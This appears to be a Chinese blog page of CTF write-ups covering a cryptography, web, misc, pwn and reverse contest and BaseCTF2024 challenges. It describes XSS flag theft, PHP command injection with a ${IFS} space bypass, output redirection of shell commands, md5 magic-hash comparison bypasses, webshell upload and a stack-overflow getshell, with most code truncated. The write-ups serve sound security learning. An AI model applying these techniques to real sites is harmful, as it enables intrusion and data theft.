所以把数据填进去,经过四十秒的紧张计算就得到了d
![]()
d=697791299328204454525050115930116025227680411125210507143694169686384063060766101784129969
然后来个经典的RSA解密脚本
1 | from Crypto.Util.number import * |
解出flag为wdflag{c5b3e498-0f4c-4f40-937f-e690d8062b89}
![]()
Crypto02
运维人员在网络监控中发现了一段可疑的字符串,经过初步分析,他们怀疑这段数据可能是使用AES加密的。为了确定这段数据的内容,他们需要找到正确的密钥。
题目源码如下
1 | # coding: utf-8 |
题目说的是AES加密,而且可以看到这里面还融合了其他的加密,然后我们写出解密脚本
1 | import gmpy2 |
运行后得到flag:wdflag{58ae00432d8228c9e3a927bbcd8d67d2}
Web
Web01(未做出)
小明在制作网站时使用jwt(Json Web Token)作为身份校验的方式,但是他觉得只用jwt不够安全,所以又使用了session,你能发现其中存在的问题吗?
题目打开是个登录页面,经过测试发现除了用户名为admin,其他名字随便输密码都能登录进去
然后可以发现cookie里面有一个session和一个token,不难发现token就是JWT
经过jwt.io解码,发现此JWT使用RS256计算方式,所以我们需要得到私钥来完成
爆公钥
我使用的项目是 rsa_sign2n => rsa_sign2n/standalone at release · silentsignal/rsa_sign2n
根据项目提示,构造docker容器后,将两次以不同身份登录的JWT丢进去跑,发现跑出来四个结果
![]()
为了缩小筛选范围,我又找了两个JWT的KEY进去跑,然后也是跑出四个结果
![]()
再对比四个结果(找两边结果里面重复的那个),得到公钥为
1 | -----BEGIN PUBLIC KEY----- |
爆私钥
得到了公钥,就可以尝试爆私钥,我使用的是RsaCtfTool
经过一顿操作,就得到了私钥为
1 | -----BEGIN RSA PRIVATE KEY----- |
![]()
获取flag
搞定了以后,我们把私钥拿到赛博厨师里面,按照我们的要求把用户名改为admin
![]()
得到token为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMwMTk1MTgwfQ.MqpdEuYN4ra2g6kADRLVWaaUDvyQFANcynM7kf5M01g
改了token发现game页面可以进入,给了我们提示
![]()
1 | Dou U know 😀😉😊😋😎🤔😐😥😮🤐😯😪😫😴😜😝😒🙃😲☹️🙁😖😞😤😢😦😰😱🤪😵🥴😠😡🤕🤢🤮🤧😇🥳🥺🤡🤠🤥🐶🐱🐭🐰🦊🐷🐽🐸🐒🐔🐧🐦🚗🚕🚁⭐🛶⛵🚤🛳️⛴️🛥️🚢👶💿📀📱💻⏰🕰️⌚📡🔋🔌🚩✖️➗? |
然后我就卡在这里了,说实话我不知道什么意思
我先尝试输入了一个🚩,结果告诉我flag/bin/sh未找到,而且刚好我们还是在最后的十分钟在干这个,结果就没弄出来
Web02(By KeqingMoe)
某安全测试人员接到了一项重要任务:对一套无人机系统的后台进行安全测试。这套系统负责管理无人机的飞行、数据传输和任务调度,请您测试该后台是否安全。
先试着随便输一个账号密码,发现直接登进去了
![]()
在输入框输入一些东西,点更新,更新成功,然后返回,发现下面就多了一行字。
写一点 html 交上去,发现可以。联系它说的点提交会审核清单,从而想到 XSS 攻击。
经过简单地猜测,检查到 /flag 下有东西,访问,但得到“你是 boss 嘛?就想看其他无人机拟定执行任务?”从而想到用 xss 把 flag 拿到传回来
1 | <script> |
![]()
从而拿到 flag 是 wdflag{z0b2pvf3fk1d77rks6a4y6fs5chn6sqh}
MISC
MISC03(By ZZPeng)
近日某公司服务器遭到恶意攻击,随后公司立即对流量监测系统中遭受攻击时段的流量进行了取证,但是公司某一网络安全实习生进行分析溯源后并未找到攻击者的攻击IP,于是公司决定将这个任务重新交给更具经验的你来进行,接手工作后,你立即对其进行了深入调查!
先过滤http请求(http && http.response.code != 404),然后发现有三个请求里面传了hacker.php,可以得到IP为39.168.5.60,所以答案为wdflag{39.168.5.60}
![]()
MISC04(By KeqingMoe)
某测试人员刚刚完成了一款图像加密算法的开发,想要邀请你进行深入的分析测试。
图形很扭曲,并且似乎有规律可循。根据它的形状,想到 Peano 分形曲线
![]()
搜索到一篇 IrisCTF2024 上的题目,也是 Peano 分形曲线处理过的图片的题,参考后得到如下代码:
1 | from PIL import Image |
处理后,得到一张图片,是一个二维码
![]()
扫了得到 wdflag{dde235fa-114d-404c-8add-6007e6efabfd}
PWN
PWN02(By ZZPeng)
IDA 静态分析得到用户名密码 admin, admin123
![]()
vuln函数存在栈溢出漏洞
发现后门函数gift, 字符串/bin/sh
编写利用脚本 getshell
1 | from pwn import * |
wdflag{r6kghxuwgu60zb4q1rvp5943zak91ygf}
Reverse
REVERSE01(By Jeremiah)
![]()
IDA 打开可以看到 flag 被分成了 4 部分加密
第一部分把用户输入的前 8 字节的两倍赋值给 s1
第二部分把 input 的 8-16 字节和字符串 XorrLord 异或第三部分进行 base64 编码
第四部分进行 AES 加密
解密过程很简单,前两部分手逆即可
![]()
![]()
这里注意一下有个换表操作
![]()
AES 写个脚本即可
最后把四个部分拼起来得到 flag: wdflag{9e855bae8f9aaafe9a2eb2cbd8823519}
-
GamerNoTitle

- BaseCTF2024 个人Writeup因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧MISC你也喜欢圣物吗鲁迪是个老hentai!附件下载下来有两个文件sweeeeeet.pngwhere_is_key.zip(加密,里面有个where_is_key.zip)先用TweakPNG分析一下,提示我们有冗余数据在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符赛博厨师解码一下,发现是一段提示告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108
BaseCTF2024 个人Writeup
因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧
MISC
你也喜欢圣物吗
鲁迪是个老hentai!
附件下载下来有两个文件
- sweeeeeet.png
- where_is_key.zip(加密,里面有个where_is_key.zip)
![]()
先用TweakPNG分析一下,提示我们有冗余数据
![]()
在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符
![]()
赛博厨师解码一下,发现是一段提示
![]()
告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本
1 | from PIL import Image |
然后运行命令
1 | $ python steg.py decode 64 .\sweeeeeet.png flag.txt |
因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1(真就鲁迪啊)
![]()
然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码
![]()
看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密
ZipCracker: https://github.com/asaotomo/ZipCracker
结果跟我想的一样,它是个伪加密
![]()
打开里面的flag.txt文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)
拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的
![]()
拿着后面再bake一次就出来了
![]()
海上遇到了鲨鱼
来看看网络鲨鱼吧
附件下载下来是个.pcapng文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)
发现里面有几个请求
![]()
对/wireshark/flag.php文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB,估计是倒转了,所以我们直接转回来就行了
1 | original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB" |
然后就能得到flag了
Base
Base啊Base,去学学编码吧
这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======
五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了
![]()
人生苦短,我用Python
下载下来一个Python文件
1 | import base64 |
这里给了很多信息
- flag的长度为38
- flag的头一定为
BaseCTF{ - flag的第11和12位一定为
Mp - flag的最后三位一定为
3x} - flag的最后一位的字符的ASCII码为125(
}) - flag里面下划线
_的数量整除2的结果为2,也就是下划线数量为4~5个 - flag中使用下划线
_分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线) - flag中13~33位中一定含有字符
lsT_n - flag的前9位为
BaseCTF{s或者BaseCTF{S - flag的倒数第七个字符到倒数第三个字符的base64编码为
MG1QbA==(0mPl) - flag倒着取,每七个取一个字符,经过hex编码后结果为
7d4372733173(}Crs1s) - flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为
l或者r - flag的第22位到第28位的编码结果是
[116, 51, 114, 95, 84, 104](t3r_Th) - flag的第18位到20位的字符对应的ASCII值乘以
2024_08_15的指数总和等于41378751114180610 - flag的第一位为字母(已经得知是
B),第九位为小写字母,第14位为数字 - flag的第14位为
3,第16位为1 - flag经过sha1编码后的结果为
e40075055f34f88993f47efb3429bd0e44a7f479
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| B | a | s | e | C | T | F | { | s | M | p | l/r | 3 | _ | 1 | _ | t | 3 | r | _ | T | h | _ | C | 0 | m | P | l | 3 | x | } |
综合这些条件,我们就可以得到上面这个表所示的提示
然后我就开始猜了,这个跟英语的功底有一定关系的
- 结合第9~14位为(未知用
*代替)s*Mp*3,我的想法是simple这个单词,所以我猜了s1Mp13 - 第16~17位为两个字母的单词,我想到的就是
is,所以我猜了1s
此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x},我再猜
- 第26~29位不是
this就是that,按照英语的习惯,我猜是个that,所以这个地方可能为Th4t
此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x},就剩下中间的***了
这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610的计算方式如下(假设flag的第18到21位为abc)
- 使用enumerate生成带索引的列表,为
[(0, "a"), (1, "b"), (2, "c")] - 然后对每个索引进行计算
- 生成字符的ASCII码,例如a为
97 - 使用a的ASCII码进行运算:
97 * 20240815 ** 0,此处的0是索引
- 生成字符的ASCII码,例如a为
这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)
其中,20240815^2 === 409690591864225, 而41378751114180610 // 409690591864225 = 101,所以我猜γ=101(e)
然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66,猜测β=66(B)
最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95,猜测α=95(_)
此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}
发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对
然后我发现我错了,这里[17:20]是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x},所以我猜测中间那个未知的词为better,那么就有Bett3r、BeTt3r的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}都不对,说明Th4t那个地方应该是错的
那就可能为This了,也说得通:Simple is better, this complex
所以尝试一下this,this可写作This、Th1s、ThiS、This,都去试试
然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项
所以第八项告诉我们一定是写作BeTt3r,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x},但是还有一个错了,根据第八项取得最后一个字母错了,他是n,所以我就想到了than这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}
然后还是错了,发现是simple这个单词里面的l就是l,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}
过不了第十一项,complex应该为C0mPl3x(当时打错了),然后是过不了第17项,所以is应该写作1s,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}
签到
关注公众号然后签到就有了
![]()
根本进不去啊!
这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本
使用Linux的dig命令可以查看到域名下的TXT记录
![]()
所以我们dig一下flag.basectf.fun的TXT记录就出来了
![]()
你会算md5吗
下载下来是个Python脚本
1 | import hashlib |
这个直接md5碰撞就完事了,写个Python脚本自动生成结果
1 | import hashlib |
跑一下就出来了
![]()
二维码1-街头小广告
Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚
下载下来是个图片
![]()
很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去
![]()
扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D
拿去URL解码一下就有了
![]()
哇!珍德食泥鸭(未做出)
谐音梗扣钱!
flag藏哪了?仔细找找吧 可能就在眼前哦
下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件
![]()
先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx
![]()
再把后缀改为docx,可以正常打开
![]()
但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件
![]()
海上又遇了鲨鱼
怎么又看到网络鲨鱼了?!!
下载下来还是Wireshark包,但是这次是ftp协议
![]()
这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪
![]()
在弹出的窗口中,选择原始数据,然后另存为文件
![]()
出来的zip文件有密码,说明我们得回去wireshark里面找
![]()
回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了
![]()
黑丝上的flag
关注VY-netcat喵, star关注VY-netcat谢谢喵
嗯,下载下来是个图片,确实是黑丝……
![]()
然而调下亮度就出来了,没啥技术含量
![]()
另:其实只要你眼里够好,盯帧也能看出来
Aura 酱的旅行日记 <图寻擂台>
Aura 酱来旅游啦, 快来看看他到了什么地方吧
答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}
一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你
一血是不可能一血的,怎么抢得过那些手速快的哦~
![]()
这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对
百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆
![]()
从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}
![]()
前辈什么的最喜欢了
下载下来是个base64编码后的图片文本
![]()
丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容
![]()
Web
HTTP 是什么呀
成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式
💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?
打开网页后有如下要求
- GET参数
basectf=we1c%00me - POST参数
Base=fl@g - Cookie传入
c00k13=i can't eat it - User-Agent传入
Base - Referer传入
Base - IP
X-Forwarded-For传入127.0.0.1
一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下
![]()
来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag
![]()
把他提供的内容拿去base64解码一下就有了
![]()
喵喵喵´•ﻌ•`
小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..
进来以后是PHP源码
1 | <?php |
很明显了就是RCE,我们尝试传入phpinfo();验证了我们的猜想
![]()
但是我传入了exec("ls")和shell_exec("ls")都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")可以,我就用来找flag的位置了
![]()
找到了,cat出来就有了
![]()
md5绕过欸
绕哇绕哇绕
打开了还是PHP源码
1 | <?php |
这里要求我们GET参数name和name2,POST内容password和password2
当name与password不相等并且name的md5值与password的md5值相等
这里出现了四种PHP运算符:
!=不等运算符,会进行类型转换,然后比较两个变量的值是否不等==相等运算符,会进行类型转换,然后比较两个变量的值是否相等!==不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True===全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True
不等/相等绕过
这题第一个条件$name != $password && md5($name) == md5($password),前半很好满足,后半看似要找两个md5值相同的内容,但其实不是
我们上面说了,==会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过
所以我们可以传入name=QNKCDZO,password=240610708,这样分别对应了0e830400451993494058024219903391和0e462097431906509019562988736854就绕过了第一层
![]()
附:抄过来的md5以0e开头的常见字符串
- QNKCDZO
0e830400451993494058024219903391- 240610708
0e462097431906509019562988736854- s878926199a
0e545993274517709034328855841020- s155964671a
0e342768416822451524974117254469- s214587387a
0e848240448830537924465865611904- s214587387a
0e848240448830537924465865611904- s878926199a
0e545993274517709034328855841020- s1091221200a
0e940624217856561557816327384675- s1885207154a
0e509367213418206700842008763514- s1502113478a
0e861580163291561247404381396064- s1885207154a
0e509367213418206700842008763514- s1836677006a
0e481036490867661113260034900752- s155964671a
0e342768416822451524974117254469- s1184209335a
0e072485820392773389523109082030- s1665632922a
0e731198061491163073197128363787- s1502113478a
0e861580163291561247404381396064- s1836677006a
0e481036490867661113260034900752- s1091221200a
0e940624217856561557816327384675- s155964671a
0e342768416822451524974117254469- s1502113478a
0e861580163291561247404381396064- s155964671a
0e342768416822451524974117254469- s1665632922a
0e731198061491163073197128363787- s155964671a
0e342768416822451524974117254469- s1091221200a
0e940624217856561557816327384675- s1836677006a
0e481036490867661113260034900752- s1885207154a
0e509367213418206700842008763514- s532378020a
0e220463095855511507588041205815- s878926199a
0e545993274517709034328855841020- s1091221200a
0e940624217856561557816327384675- s214587387a
0e848240448830537924465865611904- s1502113478a
0e861580163291561247404381396064- s1091221200a
0e940624217856561557816327384675- s1665632922a
0e731198061491163073197128363787- s1885207154a
0e509367213418206700842008763514- s1836677006a
0e481036490867661113260034900752- s1665632922a
0e731198061491163073197128363787- s878926199a
0e545993274517709034328855841020
不全等/全等绕过
这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西
Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md
我先写了一个文件叫做HelloWorld.txt,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞
1 | ./fastcoll_v1.0.0.5.exe -p HelloWorld.txt -o hw1.txt hw2.txt |
![]()
因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件
1 | <?php |
放到我的PHPStudy环境,访问就可以得到了
1 | 二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff |
然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!
![]()
不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了
![]()
然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了
这波Hackbar背大锅
![]()
补充:md5全等绕过的第二种做法
传入name2[]=1和password2[]=3(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null
A Dark Room
文字游戏 玩得开心!
打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12
![]()
好吧,这就得到flag了
upload
快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉
![]()
生成了一个webshell.php文件,内容如下
1 | <?php |
上传后可以看到源码
1 | <?php |
发现上传后的文件在uploads文件夹里,且没有被改名字,直接打开蚁剑进行连接
![]()
可以在根目录下找到flag文件,打开就能看到flag了
![]()
一起吃豆豆
进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦
![]()
第一种做法:修改通关条件
在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关
![]()
然后就达到了跳关的目的,拿到了Flag
![]()
第二种做法:直接找到通关信息
搜索“结束”这个关键词,可以看到结束页面的信息
![]()
把结束页面经过Base64编码的消息拿去解码就可以得到flag了
![]()
你听不到我的声音
我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
进来是PHP源码
1 | <?php |
因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出
我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt
![]()
于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了
![]()
数学大师
Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到
$_POST['answer']中, 解出 50 道即可, 除法取整
说白了就是写脚本,写个脚本算出来然后提交就行了
1 | import httpx |
![]()
RCEisamazingwithspace
RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
说人话就是禁用了空格,从代码也能看出来
1 | <?php |
这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)
![]()
所以就可以构建出下面这样的payload来搜索flag的位置
![]()
然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9
![]()
Crypto
helloCrypto
第一步,装好python;第二步,学会装库。
附件是Python代码,直接反着来就行了
1 | from Crypto.Util.number import long_to_bytes |
![]()
ez_rsa
下载下来还是Python代码
1 | from Crypto.Util.number import * |
题目里特意告诉你那个是not_phi,然而我们可以算出phi_n
![]()
所以我们可以得到
然后写成代码就行了
1 | from Crypto.Util.number import long_to_bytes |
![]()
PPC (Practical Programming and Coding)
BaseCTF 崩啦 - 导言
本题为系列题目, 请按照题目名称中顺序进行解答获得最佳体验
悲报~ BaseCTF 崩溃啦!
7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!
Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.
此题目为导言题, 请下载附件, 阅读其中的 readme.txt, 系列题目的附件不变动
![]()
数据处理
刚好导言没有什么要求,我们先过一遍数据,因为如果从json中去搜索数据的话太慢了,所以我这里用了sqlite来搜索数据,也同时利用SQL的高效性
我写了一个Python脚本来帮我进行数据的处理
1 | import sqlite3 |
经过了大约40分钟,数据就成功导入到sqlite数据库了
![]()
BaseCTF 崩啦 II - 过期了?
Damien Schroeder 队的队长反映为什么他提交正确后却没有总分增加? 一定是过了截止时间了! 看看他有哪些题目是在截止时间后提交的吧.
请获取到他们所有在截止时间后提交的题目的 Id, 按照提交顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值
Flag 格式: BaseCTF{计算得到的 MD5}
用Python写一个脚本即可,但是要注意按照提交时间排序
因为所有的题目的截止时间是一样的,所以直接按照一个题目的时间算就可以了
1 | import sqlite3 |
BaseCTF 崩啦 III - 帮我查查队伍的解题
该系列后面的题目我放下面,因为没什么时间做了,就没有题解了
Jailyn32: 你好, 我是 Rick Hyatt 队伍的队长, 你能帮我看看我们队伍现在还有哪些题目没有解出吗?
急急急急急急! 他们队伍有哪些题目没有解出呢?
请获取到他们所有没有做对和解出的题目的 Id, 按照题目 json 原本的顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值
Flag 格式: BaseCTF{计算得到的 MD5}
BaseCTF 崩啦 IV - 排排坐吃果果
越来越多的人来查询了,我们还是放一个排行榜出来吧
你需要对所有有效队伍的提交分数加和,按照分数从大到小排序(同分按照队伍名称字母顺序(ASCII从小到大)排序)。规定前三血 不 额外加分。可能存在得零分的队伍,这些队伍 也要 出现在结果中。
排序完成后按照 队伍名,分数;队伍名,分数;队伍名,分数;...... 拼接,最后一个队伍分数后面不加分号,计算拼接好后的 md5 (小写)。
Flag 为: BaseCTF{小写的md5结果}
BaseCTF 崩啦 V - 正义执行!
什么, 有队伍竟然在明目张胆的作弊 (提交其他队伍 Flag), 看我正义执行, 两个队伍都 ban 掉!
请找出所有未参与作弊的队伍, 将他们的队伍名字按照字典序排列, 使用西文逗号分割, 计算其 MD5 (全小写)
Flag 格式: BaseCTF{MD5 值}
BaseCTF 崩啦 VI - 流量检测?
什么, 你居然在不同的 IP 提交了 Flag? 难道你会瞬移?
请给出所有提交的 IP 变更的队伍, 队伍名称按照字典顺序排序, 用西文逗号拼接, 计算其 MD5
Flag 格式: BaseCTF{计算出来的 MD5}
-
GamerNoTitle

- BaseCTF2024 第二周个人WriteupMISC二维码1-街头小广告Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚下载下来是个图片很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D拿去URL解码一下就有了哇!珍德食泥鸭(未做出)谐音梗扣钱!flag藏哪了?仔细找找吧 可能就在眼前哦下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx再把后缀改为docx,可以正常打开但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件海上又遇了鲨鱼怎么又看到网络鲨鱼了?!!下载下来还是Wireshark包,但是这次是ftp协议这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ft
BaseCTF2024 第二周个人Writeup
MISC
二维码1-街头小广告
Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚
下载下来是个图片
![]()
很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去
![]()
扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D
拿去URL解码一下就有了
![]()
哇!珍德食泥鸭(未做出)
谐音梗扣钱!
flag藏哪了?仔细找找吧 可能就在眼前哦
下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件
![]()
先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx
![]()
再把后缀改为docx,可以正常打开
![]()
但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件
![]()
海上又遇了鲨鱼
怎么又看到网络鲨鱼了?!!
下载下来还是Wireshark包,但是这次是ftp协议
![]()
这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪
![]()
在弹出的窗口中,选择原始数据,然后另存为文件
![]()
出来的zip文件有密码,说明我们得回去wireshark里面找
![]()
回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了
![]()
黑丝上的flag
关注VY-netcat喵, star关注VY-netcat谢谢喵
嗯,下载下来是个图片,确实是黑丝……
![]()
然而调下亮度就出来了,没啥技术含量
![]()
另:其实只要你眼里够好,盯帧也能看出来
Aura 酱的旅行日记 <图寻擂台>
Aura 酱来旅游啦, 快来看看他到了什么地方吧
答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}
一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你
一血是不可能一血的,怎么抢得过那些手速快的哦~
![]()
这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对
百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆
![]()
从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}
![]()
前辈什么的最喜欢了
下载下来是个base64编码后的图片文本
![]()
丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容
![]()
Web
一起吃豆豆
进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦
![]()
第一种做法:修改通关条件
在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关
![]()
然后就达到了跳关的目的,拿到了Flag
![]()
第二种做法:直接找到通关信息
搜索“结束”这个关键词,可以看到结束页面的信息
![]()
把结束页面经过Base64编码的消息拿去解码就可以得到flag了
![]()
你听不到我的声音
我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
进来是PHP源码
1 | <?php |
因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出
我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt
![]()
于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了
![]()
数学大师
Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到
$_POST['answer']中, 解出 50 道即可, 除法取整
说白了就是写脚本,写个脚本算出来然后提交就行了
1 | import httpx |
![]()
RCEisamazingwithspace
RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
说人话就是禁用了空格,从代码也能看出来
1 | <?php |
